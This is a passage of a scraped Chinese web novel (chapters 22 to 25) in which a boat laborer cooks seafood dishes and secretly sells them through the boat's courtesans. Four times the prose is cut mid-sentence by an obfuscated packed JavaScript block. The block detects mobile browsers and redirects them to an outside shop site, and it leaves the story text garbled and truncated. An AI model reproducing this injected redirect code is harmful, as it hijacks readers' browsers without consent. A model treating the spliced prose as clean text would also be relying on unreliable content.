那只见同伴死了,终于知道害怕,但很可惜,抬尸的小哥看着弱不禁风,手上力气却不小,不但抡得动板子,还颇有准头。 很快,两只就都死翘翘了。 不过褚郁受的惊吓太大,即便身上已经没了老鼠,他还是吓得不停跳脚。 宋谨似是忙活累了,索性蹲下身抬眼看他,看了一会儿,才轻声喊了句:“喂,给你报完仇了,别喊。” 这句话作用不小,褚郁还真奇迹般的安静下来了。 只是小少年的泪珠子还挂在脸上,混着一脸泥灰画了糊,看着又惨又狼狈。 互相又说了两句话,二人就一起靠坐在墙根下望天,宋谨是他的恩人,褚郁也大方的分了些鱼杂出去。 宋谨也不客气,不嫌拿过板子的手脏,一边慢条斯理的吃鱼杂,一边说:“我以前,比你还怕老鼠。” “那你现在怎么不怕了?” 褚郁不禁有些好奇。 宋谨苦笑一声没回应。 他没有吃很多,只是象征性的尝了几口,吃相也比旁的工人斯文。 歇了会儿,宋谨站起身,朝身后摆摆手准备要走:“这鱼杂很好吃,谢谢。” 褚郁有些骄傲:“是我阿姐做的!” “你阿姐手艺真好,也替我谢谢她。” 宋谨走后,褚郁也三两下吃完了那包鱼杂,然后揉揉发红的鼻头,恍然大悟道:对啊……我阿姐什么时候做饭这么好吃了? - 此刻,褚朝云正乐呵着,因为一早钟管事就来发月银了。 然而,不只她高兴,其他有钱拿的船娘也一样。 褚朝云把十枚铜板并之前那些一起收好,正要舀了水去擦船,就听远处几名船娘在小声议论。 “昨个夜里就被抬走了,我和她住得近,可我没敢出去看。” “她原就身子不好,只是一直不敢声张,这次从那么高的木梯上摔下来,我就猜到她……可能要不好了。” “也是天冷受了冻的缘故,我去看过一次,明明还说是好多了的。” 褚朝云听得一怔,忙偏过头去。 几名船娘似是不想被旁人听到他们的话,便对着她笑笑,各自散了。 但褚朝云还是听得一清二楚,之前受伤的那名船娘昨个夜里过世了。 怎么走的这样快? 想到那晚还和她说过话……褚朝云垂下眼来,难免有些不是滋味。 远处的钟管事似是注意到了她,寥寥一眼撇来,褚朝云忙挤出个笑,低身打湿了布巾,动作飞快的干起活来。 …… 忙活一小天很快又入了夜,今晚再下水时,徐香荷差点被冰的叫出声来。 “我下去吧,你在船上待着等我。” 褚朝云怕她冻出病来,毕竟白日里刚听到那事,心中正后怕着。 这处不好多交谈,徐香荷没应声,却强忍着瑟缩,咬着牙下了船梯,跟着褚朝云一块往老地方游过去。 二人捉了些笋壳鱼和河虾,也没心思多待,就一前一后迅速回了船上。 天越发冷了,河水也一日凉过一日,总这样长时间泡在水里,好人也要冻出病的。褚朝云一边琢磨着要如何改善这种情况,一边在灶台生了火。 她抬手“嘘”出一声,拉徐香荷进来烤干衣服。 “剩下的活我来做,你去婶子那歇会儿吧。” 褚朝云预备做晚饭了。 如今她有米有面,总算不用一直吃馍馍了,粳米需要舂,而厨房里有现成的工具,褚朝云直接拿来用就行。 今晚,她打算熬一锅热乎乎的米粥来。 米粥里点了些葱末,又切了几片野姜下去,姜是驱寒的,即便不爱那怪味道,也要忍着吃几口。 今天用来配米粥的,正是她那日给姑娘们做过的虾饼。 虾饼的做法也不难,用切的虾碎裹面粉鸡蛋和葱蒜末,撒一把调味料来搅拌均匀,攒成饼子状,下锅炸熟就成。 而褚朝云炸的虾饼之所以吃起来爆汁,一个是炸虾饼的猪油她很舍得放,再一个原因,那就是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13973127|147138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并没有把虾切得很碎。 虾段儿遇热膨胀,一咬一口鲜嫩爆汁,比鱼丸虾丸可要好吃太多了。 刁氏喝着热粥吃着虾饼,不禁想起那天她跟刘新才馋的抓心挠肺的样子,便忍俊不禁道:“我就说那香味没闻到过,敢情是这种好东西。” 徐香荷也吃的小脸通红,满口油香跟涂了口脂一样细润。 收拾完碗筷,褚朝云从厨房回来时,手里拿了好些长竹条,“婶子,您会编竹筐吗?帮忙看看这样的竹条成不成?” 她将竹条递上来,但这几日月光太暗,刁氏揉了揉眼,又揉了揉,然后懊恼道:“先放我这屋吧,明个白日里我在好好挑挑,你要竹筐作甚?需要什么样式?多大的?你说来,我抽空给你编出来。” 褚朝云抬手比量了下,然后失笑一声:“先睡吧,明个我在跟您细说。” 说罢,她回了自己房里休息,想要开窗透透亮,又冷的直打哆嗦。 还是要买个煤油灯回来才方便。 褚朝云思索着翻了个身,是不是蜡烛会更便宜些? 下次下船应该让刁婶子先捎几根蜡烛回来用着,反正厨房里有打火石,方便得很。 …… 接连几日阴天,气候冷的胜过冬日,但到底不是正经的冬天,今个一早太阳从云层里钻了出来,立刻回暖了一些。 天好一点,船娘们干起活来也舒服点。 褚朝云一早就提着水桶去三层清理雅间,今天的活得快些干,因为钟管事提前告诉了她待会要给姑娘做饭。 褚朝云擦完桌椅擦琴棋,又给墙上挂着的几幅画卷去了灰,最后刷干净地板,就“噔噔噔”的走了下来。 刁氏主动进厨房来帮忙,褚朝云趴在她耳边说:“刘新才上次不是对那虾饼感兴趣吗?我今儿多做些,除了给姑娘们的,他若想要,您就卖给他,五文一个不议价。” “对了,再帮我给姑娘们带句话。” 褚朝云其实有想过让刁氏再去发展几个客人,但思虑过后又觉得不妥。 一是刁氏下船的时间不宜太长,恐让管事们生出疑心,二来,也是因为她的特殊情况,没办法按时交货。 好在刘新才和刁氏过往也算熟识,且那人老实厚道又善解人意,而且最重要的,是市面上卖丸子的只刘新才一家,人家才愿意压着性子等货。 可褚朝云不能只选择在他一棵树上栓绳,否则这冬可就真难过了。 上次刘新才和刁氏讲好了,以后过来,就按三十颗鱼丸三十颗虾丸供货就行,刚好够卖,也不怕放坏。 所以,褚朝云先做好了丸子放到食盒底层。 她这次没弄新花样,还是给姑娘炒的面。 褚朝云本想做十来个虾饼就算了,又一盘算还要买蜡烛,就狠狠心,一口气做了二十几个出来。 全部都弄好后,她将食盒递过去。 刁氏是干惯粗活的人,东西虽多,但也并非沉到拎不动,加之这阵子有褚朝云帮忙做饭,她伙食改善不少,身体也比从前好了一些。 只是…… 刁氏下船前稍有些犹豫,趁着无人,回头问了褚朝云一句:“真要带话给姑娘吗?” 褚朝云咬咬牙,无奈又坚定道:“带吧!” 23. 第 23 章 刁氏下船去送饭,余下的船娘也到了休息时间。 褚朝云和徐香荷站在船栏边望风,西码头挨着的那条集市,此刻正是热闹之时。徐香荷满眼向往,不由得喃出一声:“瞧,我们被困在这里,好像坐牢一样。” “嘘,慎言。” 褚朝云瞥去一眼,轻声提醒。 徐香荷刚刚也是看出了神,才口无遮拦了一句,她后怕着朝褚朝云吐吐舌头,然后便闭嘴了。 褚朝云的视线从叫卖的小贩身上移开,移到河面不远处,便闻到些从散落的小船只上飘出来的香味。 以前她是没怎么注意过那些渔船的。 毕竟从前休息时,她宁愿回暗仓去躺着,也不想留下来吹冷风。 褚朝云盯着离花船最近的两只小船,纳闷的“咦”出一声。 身边的徐香荷见状,就也跟着发出句疑问:“那是咱们的船吗?怎么还有人做饭呀?” 旁边吃馍的船娘听后,不禁笑说:“那些不是,他们是蕤洲的渔民,就住在附近。” “那从前怎么没看到过?” 褚朝云忙搭话道。 船娘喝一口汤,咽下馍道:“暖和的时候,他们做完事就回家去了,不会留在船上做吃食。现下冷了,懒得折腾,偶尔在船上一待就是好几日的。” 其余人都是一副见怪不怪的样子,唯独徐香荷一脸迷茫,“我还以为,这条河的营生都被他们给承包了呢。” “他们”指的自然是花船的管事们,或者在管事之上,还有所谓船娘们触及不到的大人物。 这句话多少带了点讽刺,但也是事实。 应话的船娘吓得不轻,立刻过来捂她的嘴:“怎么越说越大胆了?别的营生确实没谁敢做,但渔民要靠着蕤河过活,他们倒也不能断了大家伙的生计。” 徐香荷见了岸上的热闹,情绪越发低落,今日一再说错话,生怕祸从口出,便索性跑回隔间里躺着去了。 话题到此结束,褚朝云也没再问什么,只是又往那里瞟去几眼,然后也回了自己房间。 …… 下午的活会少些,因为陆续有客人上船,褚朝云坐在船尾避风处洗菜,眼睛不时往码头看去。 这次刁氏去的时间似乎格外长些,她有些担心妇人的身体,也怕去院子跟姑娘们说话,会被李婆子给听了去。 天将擦黑,褚朝云起身倒掉盆中脏水,直了直腰,总算在树影下瞄到了刁氏的身影。 刁氏提着食盒走起路来略显轻便,褚朝云一看便知,那些吃食应当都卖出去了。 妇人路过看守身边,赵大却一把拦住了她。 这是令他们都没想到的。 刁氏和船上的褚朝云同时一紧。 褚朝云立刻撇过头去,手指紧抓在破旧的衣摆处,不敢大口呼吸,手心里也出了不少冷汗。 不过越是这种情形,她越不能表现出什么异样来,那些管事可都不是吃素的。 果然,待拦住刁氏后,赵大故意往她这里扫来,见褚朝云低头冲那洗菜盆子里的泥,像是并没发现他们,才又撤回了视线。 他话不多说,冷飕飕的瞪向刁氏:“打开。” 赵大目光钉在食盒上。 刁氏也没慌张,老老实实的把上下两层全部打开了。 下层的食盒空荡荡,上层里只摆着一盏像是二手的煤油灯,灯柱不知是什么材质制作,已经生出厚厚的锈,不过整体看着没什么破损,倒不影响使用。 只是煤油灯上有股难闻的味儿,赵大瞟一眼就捏住了鼻子。 刁氏干笑一声:“晚上起夜没个照亮的实在不便,我就在附近转转,捡了一个来,耽误了时间是我不该,请管事见谅。” 赵大确实是因为她下船时间太长才发作。 曾几何时,他就和钟管事说过,即便刁氏不会逃跑,也不必发这善心,允她下船。 可那刁妇偏不应! 一盏破煤油灯而已,赵大当然懒得理会,他撵苍蝇一般的摆摆手,犀利的嗤出一声:“下次早点回来!” 便算是放过了刁氏。 刁氏匆忙盖上盒盖,脚步加快些上了艞板,随即就回了船上。 饭点一到,褚朝云走过来象征性拿了两只馍,就忙不迭地去了刁氏房里说话。 “怎地买了盏煤油灯回来?不是说先买些蜡烛对付着吗?” 褚朝云一脑门雾水,将打湿的布巾按在油灯上细细的擦拭,心说,她还没见过这种老古董呢,也算有眼福了。 煤油灯自然不是捡的,刁氏只是怕赵大起疑心才那么一说。 刁氏靠在床上歇气,听她问,却有些哭笑不得:“你呀,到底是哪家来的娇小姐?比起这蕤洲百姓常点的油灯,自然是蜡烛更贵些,你可知一根蜡烛要卖多少钱?” 褚朝云听得懂,刁氏是在笑她从前享福享大了,不当家不知柴米贵,连油灯和蜡烛哪个更贵都搞不清楚。 褚朝云心虚的摇摇脑袋,她还真不知这两者的价格。 不过是想当然的拿现世的物价来比照,毕竟,现世的灯盏可比一根蜡烛贵多了。 刁氏伸手比了个“四”,褚朝云顺嘴猜道:“四文一根?” 妇人有些无语:“四十文那!四文你倒是能买到个素包子吃吃。” 二人对视一眼,忽然就笑出了声。 褚朝云却做梦都没想到,一根小小的蜡烛敢卖四十文的天价! 正不知要说什么好时,刁氏又道:“我这讲的还是最普通的蜡烛,听说宫里用的更贵,一根都在两百文之上。” 刁氏只是个普通的小老百姓,并不曾到过京里,她说的这些,也都是从卖蜡烛的老板那听来的。 然而,褚朝云却听得一愣一愣,连擦拭煤油灯的动作都变慢了。 须臾,她才缓过神来,“那这油灯呢?” “十五文,灯柱的边缘有些受损,所以又给我让了些,这才被我捡了便宜。” 刁氏说完,将所卖吃食赚得的钱递来:“喏,六十颗丸子四十五文,你那虾饼刘老板中意的很,本想全要,但我留了几个给姑娘,卖了他二十整,这一百四十五文钱都在这里了。” 褚朝云留下一百,把剩下的给了刁氏和徐香荷。 虽然讲好三人合伙,褚朝云最初也是想按照分成给他们算钱的,奈何这二人都推脱说不要,又说每日的晚饭本就是她供的,实在不好再拿闲钱。 褚朝云无法,只能暂且囫囵着给一些,若日后有幸把生意做大,再仔细计较也成。 刁氏又开始推脱不收,褚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989525|147138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝云急的“啧”出一声:“不行,而且油灯是我主张买的,怎好让婶子垫钱。” 最后,三人你推我搡半天,总算定好个说法。 以后吃食和日用品褚朝云来出,每次卖东西赚得的钱他们只拿一点就行。 褚朝云又取了十五文给刁氏,这事才算说完。 有了油灯便不愁晚上做活费眼睛了,待天黑下来,三人吃过晚饭,褚朝云才开始给刁氏讲她想要一个什么样的竹筐。 褚朝云是想把竹筐固定到河里,下个网子捉鱼虾。 在水流湍急处,鱼群虾群多些的地方,第一晚下好,第二晚来收,这样总比她和徐香荷长时间泡在水里要强一些。 她把这个想法讲出来,倒是得到了刁氏二人的赞同,不过编竹筐是细致活,不可能一会儿就弄好,褚朝云倒也没那么急。 临回去睡觉前,她才想起今日惦念的事情还有一件。 褚朝云把油灯留给刁氏,开门前低问了句:“婶子,姑娘那边……” “应了。” 刁氏从一堆竹条里抬起头,表情有几分凝重:“今个刚好是春叶和蕙娘在,不过他们只说这事要等等看,他们是应了,就是还不知结果如何。” 虽说能不能成尚未可知,但褚朝云还是有些欣慰:“哎,我知道了!” 她笑着回了自己的屋子,闭眼做了个好梦。 - 褚朝云一早起来就先打了个喷嚏,冷水扑脸精神些后,便动作麻利的开始干活。 手里小有些积蓄,敢想的事就逐渐多起来。 和徐香荷挤靠在一块搓被单时,她低着头和对方小声嘀咕:“你说我也是犟劲儿上来了,偏就执着那一床棉被子,棉被需要的棉太多,咱们可以先做棉衣棉裤嘛。” 棉衣棉裤单件所用的棉花也就七八两,不宜做的过厚,免得套在里边太重,干活不灵便。 这几日请早出来洗漱,褚朝云就喷嚏不停,这才逼得她想起了这一遭。 徐香荷听后,也忙道:“可不真是呢!扯些便宜布做那么一身,一百多文足够了,穿着睡觉也暖和。” 褚朝云算算自己兜里的钱,一百多文倒也勉强够了。 只不过—— 她往徐香荷那看去一眼,心说,也得给这妮子搞一身来。 徐香荷见她打量自己,便知褚朝云再想什么,于是忙压着声拒绝道:“不用管我,你先暖和了就行,我还能挺——阿嚏!” 褚朝云收回视线,不应声了。 工头来送早饭,她飞快扔下手里的活,拉上徐香荷过去领馍馍。 才坐下吃了两口,李婆子就在艞板处露了面。 李婆子走路没骨头一样晃来晃去,在她身后,正跟着一众姑娘。 褚朝云偏头望去,走在前头的两人,刚巧是春叶和蕙娘。 蕙娘褚朝云只见过一次,就是替婆子送酒那回,倒是不怎么熟,但春叶也算是有过几次接触的了。 春叶本走的快,表情也是一如既往地烦闷,待迈步上了花船时,女子忽的回头看向她,暗暗点了一下头。 褚朝云眨眨眼,弯着眉眼移开视线。 随即,她装作捋头发的样子,低头对徐香荷咕哝了声:“妮子,你的棉衣棉裤大概是不愁了。” 24. 第 24 章 俗话说得好,撑死胆大的,饿死胆小的! 褚朝云这次的想法,真算得上是踩在管事的头顶蹦迪了。 刁氏近期下船频繁,按昨个赵大的态度,必保是起了疑心的。再加上到了真正的冬日,刁氏也不宜总出门去,若是加重了腿病,就真得不偿失了。 但这生意是决不能停的,所以在接触了几次雅间的姑娘后,褚朝云便把主意打到了她们头上。 毕竟没人嫌钱多。 姑娘们只靠打赏攒积蓄变数实在太大,褚朝云就拜托刁氏和他们谈了一桩买卖。 姑娘们在这花船上待的久了,每个人手里都多多少少有些熟客,而熟客们所从事的生计也是五花八门,但富裕的必定占多数。 褚朝云想叫姑娘们帮忙推销她做的吃食,就从比较受欢迎的虾饼开始。 客人喜欢吃,过来玩时顺手买走一些也属正常,褚朝云可以提前做好放在厨房里,必要时她送上去或者姑娘自己下来取都行。 为了试验这套方法是否可行,这几日赶着花船营业时,褚朝云时不时就出来溜达观望。 她发现在营业期间,钟管事其实很少上船来,除非有事需要。 码头口有个等着结账的婆子,账单都是姑娘自己来记,一桌客人离席,姑娘将人送出来时把账单递给婆子,客人结清银钱便好。 这一整套流程,已经是固定好了的。 而雅间那处端酒送菜的婆子们也时有偷懒,打发姑娘自己下去拿是常有的事。 褚朝云还尝试往上跑过几回,婆子们看到她一个个却视若无睹,都以为是哪个婆子打发她上来帮忙做事的,完全没想到这个小船娘如此大胆。 经过一夜的精细思量,褚朝云觉得这个做法还是行得通的。 又等了两日,刁氏的小竹筐也编好了。 晚间,褚朝云带着竹筐独自下水,忍着冷寻到了一处水流还算急的位置。 这一处草叶茂密,哪怕不用竹筐,偶尔也有些小鱼小虾被夹到草根的间隙里。 褚朝云往靠岸的泥沙处摸索,摸到块能压住竹筐的石块,将竹筐固定在草丛里,又填了几个小块石头加固,这才放心的往回游。 游到一处不常来的区域,褚朝云一抬手正碰到个圆咕隆咚的东西,外表摸着像大蒜,一头还连着长长的茎。 这是什么东西? 褚朝云拿起放在手中看。 再一低头,发现这一片有不少这种水生植物。 褚朝云的第一反应就是“这玩意好像能吃”,于是她立刻把衣摆系出个小兜状,费力的采了半兜就快速回了船上。 褚朝云将那些“大蒜”放进水盆里泡着,只拿一个去找刁氏。 点了煤油灯的小屋顿时生出暖融融的错觉,哪怕屋子里并没多热乎,但褚朝云还是有种心里被照的亮堂堂地舒适感。 “婶子您快帮忙看看,这大蒜是什么东西?是不是能吃?” 她把手里捏着的“球”举到灯下,刁氏忙凑来一眼,然后就憋不住乐的前仰后合。 乐了半晌,又怕旁屋听到动静,才强忍住笑意说:“这哪里是什么大蒜,这是野生的慈姑,好吃的呢。” 一听能吃,褚朝云便弯起了眼梢,决定今晚就吃它了。 见她一副笑眯眯地样子,刁氏又说:“没想到这个月份还能吃到它,也是不容易了。” 气候一变化,很多水里的植物都要过季,能吃的也越来越少,所以这几日,褚朝云也都没下去采过。 刁氏又嘱咐了几句野慈姑要如何吃,褚朝云就乐悠悠地跑回厨房去了。 把捡来的野慈姑按个洗过,又找来把小刀开始削皮,褚朝云发现,削了皮的野慈姑看着和土豆差不多,便猜测这东西应该真如刁氏所说那般好吃。 褚朝云将野慈姑切成小片先焯了水,就开始忙着上锅蒸米饭。 买来的一斤米要三个人吃,所以她总是想尽办法省着些用,因为用的米不多,所以蒸起来也很快。 切了把野葱段下锅煸炒,再把野慈姑片一并放入,翻炒过油后,抓一把调料撒入,褚朝云就在锅子里添了足量的水。 咕嘟咕嘟煮上一会儿,开盖就闻到一股鲜香。 慈姑在汤水里煮到了时候,用铲子一碰就要化了似的,褚朝云把蒸好的米饭全部倒入,将怼碎了的慈姑和米饭拌在一块翻腾几下。 不多时,黏黏糊糊地米饭就出锅了。 褚朝云喜欢吃黏糊地食物,以前在现世吃麻辣烫,她都喜欢放足量的麻酱,最好是每一筷子上都沾上酱汁才够美味。 而今这一锅黏糊饭,还是曾经那个火爆的“丸子饭”给她带来的灵感。 回了隔间,徐香荷正在帮刁氏缝补着什么,五颜六色的碎布拼凑出的一只,瞧着倒还有种凌乱的美感。 “你这是什么?” 她和徐香荷异口同声。 只不过她问的是那布要做什么用,而徐香荷则是奔着吃的来的。 二人会心一笑,徐香荷嘴快的先开了口:“婶子说想缝三个荷包来,索性我没什么事,就帮忙一块。” 荷包。 确实挺实用的。 褚朝云的钱如今都用布巾包着,包了几层,贴身揣在怀中,总怕干活时会不小心漏出几个铜板。 见她把餐盘放在脚凳上准备吃饭,徐香荷也放下针线,几下挪过来,一双眼睛亮亮的盯在碗里,“这是什么好吃的?” 她抵不住问。 刁氏听罢故意逗她:“你怎知这是好吃的?” “朝云做的哪里有不好吃的~” 徐香荷咽了下口水,红着脸说:“而且她做的我从前全都没吃过。” 这句话说的刁氏倒是很赞同,刚刚她只告诉褚朝云,野慈姑焯了水后可以煮着吃,炒着吃,结果端进来的却是这样一盘。 刁氏用筷子扒拉一下自己那只碗,纳闷的“咦”了声:“朝云,慈姑呢?” “煮没了呀。” 褚朝云俏皮一笑,跟着,抬手就是一筷头子黏糊饭。 米软煮的软烂,放进口中有滋有味,再加上那厨娘的独门秘方调味料…… 有句话怎么说来着,香掉眉毛! 虽然用的不是丸子也不是土豆,但褚朝云却做出了自己想要的口感,甚至,她觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997954|147138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得用野慈姑做黏糊饭,效果貌似还更好了! 三人里徐香荷是典型的小吃货,见褚朝云都吃得那么香,自然也迫不及待要尝上一大口。 猪油混合着黏黏的饭直糊嘴,徐香荷激动到吐字不清:“言若!” “啥?” 刁氏看着她。 徐香荷赶忙咽下,砸吧砸吧嘴纠正说:“黏糯!太好吃了!!从没吃过这么好吃的米饭!!!” 刁氏被她夸张的样子馋到,也跟着吃下一口,而后点着头道:“粉糯又清甜,虽然看不到碗里有慈姑,但却吃的出味道,这香味好像全都跑到米粒里去了!” 厨师自然喜欢听顾客夸饭好吃,褚朝云品品刁氏的那句总结—— 倒是形容的无比贴切! 娘仨吃完,徐香荷又开始勤快的绣荷包了,刁氏也不想闲着,就帮着一起弄。 褚朝云很享受吃饱饭窝在被窝里的感觉,三个人挤在一块格外暖和,还有油灯来照亮。 她简直舒服的想睡了。 褚朝云觉得,自己从没有哪一刻如现在这般,迫切的,渴望光明。 - 翌日晚间,褚朝云该下河去看看成果了,一个夜晚加上一个白天,她想,成果应当是不错的。 徐香荷昨个忙着绣荷包没跟过来,今天则急吼吼地赶来帮忙。 二人一同下河往竹筐那处游,挨近之后,就同时发出一声惊喜的“呀!” 被石块压得稳当的竹筐口差不多都要塞满了,褚朝云竖起竹筐,把石头全部捡出去,借着月色往里面看。 除了几条个头小些的笋壳鱼,河虾确实不少,还有挺多黑色小石子大小的东西,但看不太清是什么。 徐香荷想要伸手去抓来瞧,立刻就被褚朝云阻止了,“别忙,以防有水蛇。” 褚朝云拎着筐晃,筛糠一样抖过几次,看到筐底没藏什么杂七杂八的,才伸手把那东西捉出来。 这一捉不要紧,褚朝云顿时笑开了。 竟然是田螺。 以前夜市里的炒田螺,炒的好吃的摊子都排长队,褚朝云心想,可口的小零食又出现了。 二人一手拎着一半竹筐,在深夜的蕤河里急促的往回赶,回来之后,褚朝云先进后厨把鱼和厨房原有的放在一起,虾也分好,就将田螺直接炒出带了回去。 给刁氏和徐香荷分了一些后,剩下的,她就带去自己房里慢慢的吃。 褚朝云盘腿坐在被窝里,边吃田螺边想,也不知褚郁吃到她给的鱼杂没,这两日她都没在看到那少年。 抓回来的虾她只能先留作备用,还不知有没有熟客会要,自然不能先做出来。 又耐心等了几天,某日晚,褚朝云正赶在营业时出来溜达,船角一侧,便听有人在轻声唤她。 那声召唤不大,带着一些警惕。 褚朝云匆忙回头,就见借口下来解手的春叶,正焦急的朝她望来。 褚朝云心中一喜,忙走过去:“春叶姑娘,是有生意了吗?” 问过,便见春叶似是想说什么,只是这话还没出口,隔壁茅房出来的婆子,就皱着眉往他们这处瞧过来。 25. 第 25 章 二人见状登时眼皮一跳,毕竟花船有花船的规矩,船娘们禁止交谈。 且李婆子从前更是奚落过一句,“下等的船娘,也没资格跟上等船娘说话。” 李婆子横竖都看不上他们这些窝在暗仓里的船工,所以褚朝云当初自伤,李婆子背后不知议论过她多少回,“就是个脑子蠢笨的傻货,偏要打破头去吃苦头,活该!” 眼下,二人刚一“接上头”,对面的婆子便盯住了他们。那婆子不只眼毒,表情也是狠叨叨的。 老妇将刚洗过的手在衣襟蹭蹭,抬步就往他们这迈。 这一动作,春叶的小脸顿时吓得惨白。 褚朝云自然也怕,不过职场摸爬滚打那几年也不是白玩的,“嘴上笑嘻嘻”的本领练就的炉火纯青。 她先是佯装无事的冲婆子点头当作招呼,而后就镇定的询问春叶:“姑娘,可是要去厨房拿酒么?” 春叶表情微怔,快速反应过来:“是的。” 不远处的婆子听罢,步伐顿时就慢下来。 她是知道褚朝云在厨房帮工的,一想春叶要拿酒,拿酒本就是他们这群婆子的活,老妇鸡贼的想要偷懒,走过来也装听不到,一错身,就拐个弯从另一边溜达上去了。 直到婆子的身影埋入船廊的灯影中,褚朝云和春叶才同时松了口气。 不过闹了这一出,倒是让他们找到了说话的好去处—— 厨房。 褚朝云给春叶递了个眼色,二人一前一后走进厨房,进门后才觉得安全。 春叶抖抖帕子,“刚刚可吓得我魂都没了。” 褚朝云按压一下心口窝,喘口气,扫了一眼这方小天地:“咱们也算是因祸得福了。” 楼上鼓乐喧天笑声不断,楼下的厨房门虽是开着,但他们用偏低些的音量说话,倒也不会被谁听了去。 春叶不敢耽搁时间,忙把要说的话快速的讲:“刁婶子提的那事我和蕙娘商量过了,我们二人愿意跟姑娘合作,但我希望朝云你先不要对其他姑娘声张,同一个院子住着大家自然是好姐妹无疑,但人心始终隔着肚皮……” “放心,这点道理我还是明白的,也多亏了那日在院子里的是你们二人。” 褚朝云这话是真心实意的,多一个人知晓便多一份风险。 春叶会心一笑,继续道:“不过这事毕竟要背着管事们,我和蕙娘暂时也只敢同熟客们提一提,旁的生人却是不敢说的。” 褚朝云握了下她的手,由衷道:“姑娘自行把握分寸便好,只一点,以自身安危为首要。” “促成一单,我给姑娘提四成。” 她抬手比了一下,大方道。 春叶微愕,而后笑着摆摆手:“也没出什么力,不好白拿姑娘许多,一成便好。” 一成实在太少,褚朝云听后也是不依,坚持四成:“可不能这样讲,毕竟是冒着大风险的。” 二人你推我让半天,最终定下了一单两成的价格。 但春叶此番下来并非只是为了说这个,也不知是她的运气好还是褚朝云好,春叶其中一位熟客刚好是开酒肆的,但酒肆不卖饭菜,只做些小食下酒。 春叶本也是无心跟他提了一嘴,推销这事手里还是得有成品更容易成,但刁氏之前送去的虾饼不能放太久,已经被她和蕙娘吃光了。 但她这么一说,柳文匡柳老板竟真知道,不但知道,他还吃过。 他前几日去刘新才的面食铺子吃扁食,虾饼就是在那吃到的。 柳文匡得知春叶这里能买到,当即大喜。 其实常来常往的熟客们都知晓春叶他们的处境,花船营生也算是蕤洲一大闭口不谈的话题,不谈归不谈,同情是有的。 反正柳文匡是常客,便和春叶讲好,每次过来就带一些回去卖。 春叶告诉褚朝云,柳文匡要三十虾饼,翌日晚间过来取。 褚朝云得知这桩“大生意”,当晚就带着徐香荷下河去抓虾了。 三十虾饼需要的虾不少,但小竹筐能抓到什么却不是固定的,不过总算也能省下一半的力气。 花船歇业后,褚朝云忙着先把虾饼做出来,为了防止明个进出厨房的人闻到香味,更换的大食盒就派上用场了。 褚朝云一边乐她和刁氏有先见之明,一边喜滋滋地把做好的虾饼都装进去,食盒平时就搁在灶台旁边的木柜里,除了她和刁氏没人会动。 好在天气够冷,在食物的保鲜上也算帮了大忙。 不过等到开春,就又要为这事犯难了。 褚朝云蹲在一边洗手,不禁发出句感叹,这要是能给她腾出个地方专门做饭,送餐,在古代的日子也不见得会过得不好。 生意的事情忙完,该愁今日的晚饭了。 因为竹筐就一个,上次是急着用就大胆拿了不少竹条回去,不过厨房的竹条是有数的,想要在匀出一只筐,这次就得细水长流了。 褚朝云现在每天只拿回去一两根,等慢慢的攒起来再编一个,两只筐就能轮换着使。 也好过她每次上船卸了货,又要返回去安放竹筐。 灶台点着柴,烘的身上暖洋洋的,褚朝云低头去看捡出来的一盆河鲜,虾被用完了,但是里面还剩下些别的。 各种不知名的鱼类居多,还有几只小河蟹和一些田螺。 她今天不想另外弄主食了,想起之前吃过的野慈姑,歇了一会儿便又下一次水。 回来后,褚朝云就忙着生火烧水,一次将那些河鲜都放入水中煮熟捞出,鱼肉片开煮熟码好,河蟹也都从中间剁开备用。 猪油混着葱姜蒜下锅翻炒,添水撒入足倍的调味料后,便开始炖煮。 小火慢炖了会儿,直到煮的汤汁泛红,这才倒出放入盆中冷却。 褚朝云看着这一锅红汤感慨万千,有点想吃火锅了…… 她用小勺盛了些尝味道,虽说够麻够辣了,但总觉得还缺些什么。 褚朝云记起柜子里是有梅子汁的,又酸又甜简直自带糖醋口感,而且还是纯天然的,就也放了几滴进去。 再尝,一口红汤酸香麻辣,这汤料算是被她研究明白了。 汤水放凉后,褚朝云就把煮好的食材全都下了进去,待食物完全浸透汤汁,正要端着回隔间时,便瞧见木柜上方摆着一只小碗。 碗里黑白相间一粒粒,不时还飘出点熟悉的油香。 这是……芝麻?! 褚朝云眼睛顿时一亮,她还真不知这个时代已经有芝麻了。 于是她放下盆,取了一小勺芝麻撒进去,红汤的味道顿时又不一样了。 心满意足的女子面上喜气洋洋,连下木梯的脚步都快了些许,来到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 